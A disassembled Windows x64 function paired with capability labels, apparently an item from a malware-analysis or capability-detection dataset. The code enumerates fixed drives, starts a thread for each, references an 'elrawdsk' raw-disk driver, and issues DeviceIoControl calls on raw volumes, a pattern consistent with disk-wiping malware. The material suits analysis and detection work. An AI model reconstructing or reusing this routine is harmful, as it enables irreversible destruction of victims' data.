Function at 0x140001990
Capabilities:
Create thread
Get disk information
Query environment variable
Write file on windows

Disassembly:
sub rsp, 0x1a8
call fcn.140001890
test eax, eax
je 0x140001d8a
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x178], r14
mov qword [rsp + 0x170], r15
call fcn.140002410
call fcn.1400024a0
xor ecx, ecx
mov edx, 0x3e8
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r15d, r15d
mov ecx, r15d
test rbx, rbx
je 0x140001a1a
cmp word [rbx], cx
je 0x140001a1a
nop dword [rax]
inc rcx
cmp word [rbx + rcx*2], r15w
jne 0x140001a10
movsxd rax, ecx
cmp word [rbx + rax*2], 0x5c
lea rdx, [rbx + rax*2]
je 0x140001a3c
nop dword [rax + rax]
dec ecx
lea rdx, [rdx - 2]
cmp word [rdx], 0x5c
jne 0x140001a30
lea eax, [rcx + 1]
mov qword [rsp + 0x1a0], rbp
movsxd rcx, eax
xor r8d, r8d
mov qword [rsp + 0x198], rsi
xor edx, edx
mov qword [rsp + 0x180], r13
lea rax, [rbx + rcx*2]
lea rcx, str.windir
mov qword [0x14002b130], rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
movsxd rbx, eax
mov rdx, rbx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
lea rcx, str.windir
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movzx r14d, byte [rdi]
xor edx, edx
mov r8d, 0x8000
mov byte [rsp + 0x1b0], r14b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x104
mov edi, r15d
call fcn.1400061c0
lea rdx, [rsp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x140001cf1
xor ecx, ecx
mov edx, eax
shr rdx, 2
mov r8d, 0x1000
mov ebp, eax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, r15
mov r13, rax
test rbp, rbp
je 0x140001cf1
nop dword [rax + rax]
lea rcx, [rsp + 0x60]
add rcx, rbx
movzx esi, byte [rcx]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x140001b3e
mov eax, edi
inc edi
mov byte [rax + r13], sil
add rbx, 4
cmp rbx, rbp
jb 0x140001b20
test edi, edi
je 0x140001cf1
lea r8, [rsp + 0x1b8]
lea rdx, str.elrawdsk
lea rcx, str.disksdump.sys
call fcn.140002800
xor sil, sil
mov qword [rsp + 0x188], r12
mov rbp, r15
mov rbx, r15
nop dword [rax + rax]
movzx eax, sil
movsx rcx, byte [rax + r13]
cmp cl, r14b
je 0x140001c0b
mov r9, rcx
mov qword [rsp + 0x28], r15
xor ecx, ecx
mov dword [rsp + 0x20], r15d
lea r8, [fcn.140002240]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001c0b
mov r9d, 4
lea rdx, [rbx + 8]
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rbp, rbp
je 0x140001bf4
mov r8, rbx
mov rdx, rbp
mov rcx, rax
call fcn.140005c90
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [r14 + rbx], r12
mov rbp, r14
movzx r14d, byte [rsp + 0x1b0]
add rbx, 8
xor r15d, r15d
inc sil
movzx eax, sil
cmp eax, edi
jb 0x140001b80
mov r12, qword [rsp + 0x188]
test rbx, rbx
je 0x140001c42
shr rbx, 3
mov r9d, 0xffffffff
mov ecx, ebx
mov r8d, 1
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
movzx ecx, r14b
call fcn.140002240
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
lea rcx, [rsp + 0x1b8]
mov edx, 0xc0000000
mov dword [rsp + 0x1b8], 0x5c2e5c5c
mov word [rsp + 0x1bd], 0x3a
lea r8d, [r9 + 3]
mov byte [rsp + 0x1bc], r14b
mov dword [rsp + 0x1b0], r15d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001ce6
mov qword [rsp + 0x38], r15
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 0x20
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x560000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rsp + 0x48]
call fcn.140001770
jmp 0x140001d52
mov rcx, qword [0x14002b128]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x14002b120]
cmp rcx, 0xffffffffffffffff
je 0x140001d45
mov dword [rsp + 0x1b0], r15d
lea rdx, str.failed_to_get_volumes._r_n
mov rax, r15
cmp word [rdx + rax*2 + 2], r15w
lea rax, [rax + 1]
jne 0x140001d22
lea r8d, [rax + rax]
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14002b128]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rsi, qword [rsp + 0x198]
mov r13, qword [rsp + 0x180]
mov rbp, qword [rsp + 0x1a0]
mov rdi, qword [rsp + 0x190]
mov r14, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x1c0]
mov r15, qword [rsp + 0x170]
add rsp, 0x1a8
ret